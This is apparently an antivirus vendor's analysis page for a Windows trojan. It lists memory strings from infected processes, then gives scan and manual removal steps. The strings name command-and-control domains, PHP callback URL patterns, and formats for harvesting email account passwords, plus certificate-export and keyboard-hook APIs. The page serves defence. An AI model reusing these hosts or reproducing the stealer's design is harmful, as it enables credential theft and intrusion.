::{20D04FE0-3AEA-1069-A2D8-08002B30309D}
taskmgr.exe
ShellExecute
Software\Microsoft\Windows\CurrentVersion\Explorer\AppKey\%d
\WindowsShell.Manifest
Get Online with MSN.lnk
Set Program Access and Defaults.lnk
Link%d
OEM%d
Software\Microsoft\Windows\CurrentVersion\SMDEn
::{D20EA4E1-3957-11d2-A40B-0C5020524152}
%WinDir%\explorer.exe
There is a file or folder on your computer called "%s" which could cause certain applications to not function correctly. Renaming it to "%s" would solve this problem. Would you like to rename it now?
Ca&scade Windows
Tile Windows &Horizontally
Tile Windows V&ertically
&Windows Security...
&Help and Support
&Log Off %s...
Windows Explorer
6.00.2900.5512 (xpsp.080413-2105)
EXPLORER.EXE
Windows
Operating System
6.00.2900.5512
Keep the &taskbar on top of other windows
To remove records of recently accessed documents, programs, and Web sites, click Clear.
Windows displays icons for active and urgent notifications, and hides inactive ones. You can change this behavior for items in the list below.
Select this option to use the menu style from earlier versions of Windows.
6There is not enough memory to complete this operation.8Unable to run command.
The folder '%1' has been removed.WMy Computer or Windows Explorer has not been properly initialized yet. Try again later.
&Undo %s
Windows is running in safe mode.
This special diagnostic mode of Windows enables you to fix a problem which may be caused by your network or hardware settings. Make sure these settings are correct in Control Panel, and then try starting Windows again. While in safe mode, some of your devices may not be available.
startRThere was an internal error and one of the windows you were using has been closed.
Restrictions{This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator.
&Show Open Windows
Windows was unable to change the display settings for the new configuration. Return the computer to the previous state, shut down Windows, and restart the computer in the desired configuration.
There may be a problem with your display settings if you continue. To safely change to a new configuration, you should shut down Windows and restart the computer in the desired configuration. Do you want to continue anyway?
This pre-release version of "Internet Explorer 4.0" Desktop/Explorer has expired. Please update to the latest release of "Internet Explorer 4.0" from WWW.MICROSOFT.COM
helpctr.exe>-FromStartHelp
Take a tour of Windows XP
NOpens a window where you can pick search options and work with search results.aOpens a central location for Help topics, tutorials, troubleshooting, and other support services.
/Opens a program, folder, document, or Web site.
Provides options for closing your programs and logging off, or for leaving your programs running and switching to another user.lProvides options for turning off or restarting your computer, or for activating Stand By or Hibernate modes.RDisconnects your session. You can reconnect to the session when you log on again.
&Windows Security
iOpens the My Documents folder, where you can store letters, reports, notes, and other kinds of documents./Displays recently opened documents and folders.KOpens the My Music folder, where you can store music and other audio files.]Opens the My Pictures folder, where you can store digital photos, images, and graphics files.zGives access to, and information about, the disk drives, cameras, scanners, and other hardware connected to your computer.MGives access to, and information about, folders and files on other computers.8Connects to other computers, networks, and the Internet.

explorer.exe_1492_rwx_00981000_0001F000:

FTPR
.text
`.rdata
@.data
.reloc
=HTTPt
?http
HTTPt
WININET.dll
SHLWAPI.dll
gdiplus.dll
WS2_32.dll
CRYPT32.dll
USER32.dll
GDI32.dll
ADVAPI32.dll
SHELL32.dll
ole32.dll
PSAPI.DLL
!DLL load status: %u
/t%s.php?%s=
regisforbelowactu.net
/d%s.php?%s=
/c%s.php?%s=
.rdata
%s=%s&
SMTP
HTTPMail
Port
Password2
account{*}.oeaccount
Software\Microsoft\Windows Mail
Software\Microsoft\Windows Live Mail
SetWindowsHookExW
SetWindowsHookExA
user32.dll
CreateDialogIndirectParam
DeleteUrlCacheEntry
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
FindCloseUrlCache
HttpQueryInfoA
HttpSendRequestW
HttpAddRequestHeadersW
HttpQueryInfoW
HttpAddRequestHeadersA
HttpSendRequestA
InternetCanonicalizeUrlA
HttpOpenRequestA
SHDeleteKeyA
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
PFXExportCertStoreEx
ExitWindowsEx
CryptGetUserKey
RegCreateKeyA
RegOpenKeyA
RegCloseKey
RegNotifyChangeKeyValue
UnhookWindowsHookEx
GetKeyboardLayout
GetKeyboardState
ShellExecuteA
ntdll.dll
GetWindowsDirectoryA
CallNamedPipeA
WaitNamedPipeA
ConnectNamedPipe
DisconnectNamedPipe
CreateNamedPipeA
KERNEL32.dll
OLEAUT32.dll
client.dll
5 5-555<5
7$70767=7
type=%S, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s
type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
EmailAddressCollection/EmailAddress[%u]/Address
n%S_%S
SMTP_Email_Address
u-u-u u:u:u
%s:(%s)

explorer.exe_1492_rwx_00A32000_00020000:

FTPR
.text
`.rdata
@.data
.reloc
=HTTPt
8http
HTTPt
WININET.dll
SHLWAPI.dll
gdiplus.dll
WS2_32.dll
CRYPT32.dll
USER32.dll
GDI32.dll
ADVAPI32.dll
SHELL32.dll
ole32.dll
PSAPI.DLL
!DLL load status: %u
/t%s.php?%s=
pr2523845620.tk
/d%s.php?%s=
/c%s.php?%s=
.rdata
url="%s"&ref="%s"&id=xxxx
%s=%s&
SetWindowsHookExW
SetWindowsHookExA
user32.dll
SMTP
HTTPMail
Port
Password2
account{*}.oeaccount
Software\Microsoft\Windows Mail
Software\Microsoft\Windows Live Mail
DeleteUrlCacheEntry
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
FindCloseUrlCache
HttpQueryInfoA
HttpSendRequestW
HttpAddRequestHeadersW
HttpQueryInfoW
HttpOpenRequestW
HttpAddRequestHeadersA
HttpSendRequestA
InternetCanonicalizeUrlA
HttpOpenRequestA
SHDeleteKeyA
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
PFXExportCertStoreEx
ExitWindowsEx
CryptGetUserKey
RegCreateKeyA
RegOpenKeyA
RegCloseKey
RegNotifyChangeKeyValue
UnhookWindowsHookEx
GetAsyncKeyState
GetKeyboardLayout
GetKeyboardState
ShellExecuteA
ntdll.dll
GetWindowsDirectoryA
CallNamedPipeA
WaitNamedPipeA
ConnectNamedPipe
DisconnectNamedPipe
CreateNamedPipeA
KERNEL32.dll
OLEAUT32.dll
client.dll
9$9(94989
type=%S, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s
type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
EmailAddressCollection/EmailAddress[%u]/Address
n%S_%S
SMTP_Email_Address

rundll32.exe_832:

.text
`.data
.rsrc
msvcrt.dll
KERNEL32.dll
NTDLL.DLL
GDI32.dll
USER32.dll
IMAGEHLP.dll
rundll32.pdb
.....eZXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
...eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
%Xnnnnnnnnnnnnnnn1
O3$dS7"%U9
.manifest
5.1.2600.5512 (xpsp.080413-2105)
RUNDLL.EXE
Windows
Operating System
5.1.2600.5512
YThere is not enough memory to run the file %s.
Please close other windows and try again.
9The file %s or one of its components could not be opened.
0The file %s or one of its components cannot run.
MThe file %s or one of its components requires a different version of Windows.
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
Error in %s
Missing entry:%s
Error loading %s

rundll32.exe_832_rwx_00951000_0001F000:

FTPR
.text
`.rdata
@.data
.reloc
=HTTPt
?http
HTTPt
WININET.dll
SHLWAPI.dll
gdiplus.dll
WS2_32.dll
CRYPT32.dll
USER32.dll
GDI32.dll
ADVAPI32.dll
SHELL32.dll
ole32.dll
PSAPI.DLL
!DLL load status: %u
/t%s.php?%s=
regisforbelowactu.net
/d%s.php?%s=
/c%s.php?%s=
.rdata
%s=%s&
SMTP
HTTPMail
Port
Password2
account{*}.oeaccount
Software\Microsoft\Windows Mail
Software\Microsoft\Windows Live Mail
SetWindowsHookExW
SetWindowsHookExA
user32.dll
CreateDialogIndirectParam
DeleteUrlCacheEntry
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
FindCloseUrlCache
HttpQueryInfoA
HttpSendRequestW
HttpAddRequestHeadersW
HttpQueryInfoW
HttpAddRequestHeadersA
HttpSendRequestA
InternetCanonicalizeUrlA
HttpOpenRequestA
SHDeleteKeyA
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
PFXExportCertStoreEx
ExitWindowsEx
CryptGetUserKey
RegCreateKeyA
RegOpenKeyA
RegCloseKey
RegNotifyChangeKeyValue
UnhookWindowsHookEx
GetKeyboardLayout
GetKeyboardState
ShellExecuteA
ntdll.dll
GetWindowsDirectoryA
CallNamedPipeA
WaitNamedPipeA
ConnectNamedPipe
DisconnectNamedPipe
CreateNamedPipeA
KERNEL32.dll
OLEAUT32.dll
client.dll
5 5-555<5
7$70767=7
type=%S, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s
type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
EmailAddressCollection/EmailAddress[%u]/Address
n%S_%S
SMTP_Email_Address
u-u-u u:u:u
%s:(%s)


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    imapi.exe:1780
    attrib.exe:1696
    attrib.exe:1644
    1264500.exe:876
    1264500.exe:148
    %original file name%.exe:1848

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %WinDir%\Temp\yz10e3jc.TMP (146970 bytes)
    %System%\dnsaoice.exe (1281 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\1276437.bat (72 bytes)
    C:\1227937.bat (72 bytes)
    %System%\raspprov.exe (1281 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "bidiript" = "%System%\dnsaoice.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "dcomycfg" = "%System%\raspprov.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2026 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now